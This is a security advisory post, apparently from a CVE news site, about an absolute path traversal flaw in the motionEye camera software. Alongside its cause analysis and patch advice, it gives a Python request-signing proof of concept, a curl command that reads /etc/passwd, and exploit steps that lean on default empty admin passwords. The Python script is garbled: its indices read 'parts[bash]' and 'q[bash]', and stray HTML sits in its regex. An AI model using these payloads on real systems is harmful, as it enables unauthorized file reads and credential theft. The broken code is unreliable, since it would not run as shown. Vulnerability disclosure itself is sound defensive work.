Listen to this Post
motionEye v0.43.1, the latest stable version, is vulnerable to an absolute path traversal vulnerability that allows an authenticated attacker with normal (non-admin) privileges to read arbitrary files from the filesystem. The issue exists because multiple media file handlers accept a user-controlled `filename` parameter and construct filesystem paths using os.path.join(). When an absolute path is supplied, Python discards the configured media directory and returns the attacker-supplied path directly.
The vulnerability is rooted in an inconsistent fix pattern within the `mediafiles.py` module. The `get_media_content()` function properly validates the path by checking for `’..’` sequences:
def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: <-- PATH TRAVERSAL CHECK PRESENT return None
However, the `get_media_preview()` function does not perform this check:
def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) <-- NO '..' CHECK
Similarly, `del_media_content()` at line ~865 is also missing the check. This oversight allows an attacker to use URL-encoded slashes (..%2F..%2F) which Tornado’s URL router does not normalize — it passes the raw `../` through to os.path.join().
The affected handlers include:
– `GET /movie/
– `GET /movie/
– `GET /picture/
– `GET /picture/
Additionally, the `MoviePlaybackHandler` explicitly overrides Tornado’s built-in path validation, returning the attacker-supplied path directly without any safety checks.
As a result, an attacker can access any file on the filesystem that the motionEye process has permissions to read, leading to sensitive information disclosure.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | motionEye |
| Version | v0.43.1 |
| Vulnerability | Absolute Path Traversal |
| Severity | Moderate |
| Date | 2026-06-23 |
| Prediction | Patch pending |
What Undercode Say
Analytics: The vulnerability stems from inconsistent input validation across different functions in mediafiles.py. While `get_media_content()` implements proper path traversal checks, `get_media_preview()` and `del_media_content()` do not, creating an exploitable gap. The use of %2F-encoded slashes bypasses Tornado’s URL normalization, allowing `../` sequences to reach `os.path.join()` unchanged. Authentication is required, but motionEye’s default configuration often uses empty admin passwords, making exploitation trivial.
Signature Generator (Python):
!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib
import re
import urllib.parse
<em>SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?</em>.=&{}[]\":, -]', re.DOTALL)
def compute_signature(method, path, key=''):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[bash], keep_blank_values=True) if q[bash] != '_signature']
query.sort(key=lambda q: q[bash])
query = [(n, urllib.parse.quote(v, safe="!'()~")) for (n, v) in query]
query = '&'.join([(q[bash] + '=' + q[bash]) for q in query])
parts[bash] = parts[bash] = ''
parts[bash] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()
path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')
cURL Exploit Command:
curl --path-as-is -s "http://TARGET:8765/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=STATIC_SIGNATURE"
Note: The `–path-as-is` flag is required — without it, curl normalizes `..%2F` and collapses the traversal before sending the request.
Exploit
- Authenticate as any user (normal or admin). With the default empty admin password, authentication is bypassed.
- Compute the request signature using the HMAC-style signature scheme:
SHA1("GET:<path>?_username=<user>::<password>"). - Send the request using `curl –path-as-is` to prevent URL normalization.
- The server returns the contents of the requested file (e.g.,
/etc/passwd) if the motionEye process has read permissions.
Example Request:
GET /picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=... HTTP/1.1 Host: target:8765
Protection
- Upgrade motionEye to a patched version once available.
- Apply input validation to reject any `filename` parameter containing `..` or absolute path indicators.
- Use `os.path.realpath()` to resolve the canonical path and verify it remains within the configured `target_dir` before serving the file.
- Do not override Tornado’s built-in `StaticFileHandler` path validation unless equivalent or stronger validation is implemented.
- Restrict motionEye process permissions to the minimum required, limiting the impact of arbitrary file reads.
- Enforce strong authentication — do not rely on default empty passwords.
Impact
- Confidentiality: An attacker can read arbitrary files from the filesystem, including sensitive configuration files (e.g.,
/etc/motioneye/motion.conf), system files (e.g.,/etc/passwd), and potentially credentials or private keys. - Privilege Escalation: Combined with other vulnerabilities (e.g., command injection), this file read primitive can lead to remote code execution.
- Compliance: Exposure of sensitive data may violate regulatory requirements (GDPR, HIPAA, etc.).
- Operational Risk: Attackers can map the filesystem and gather intelligence for further attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

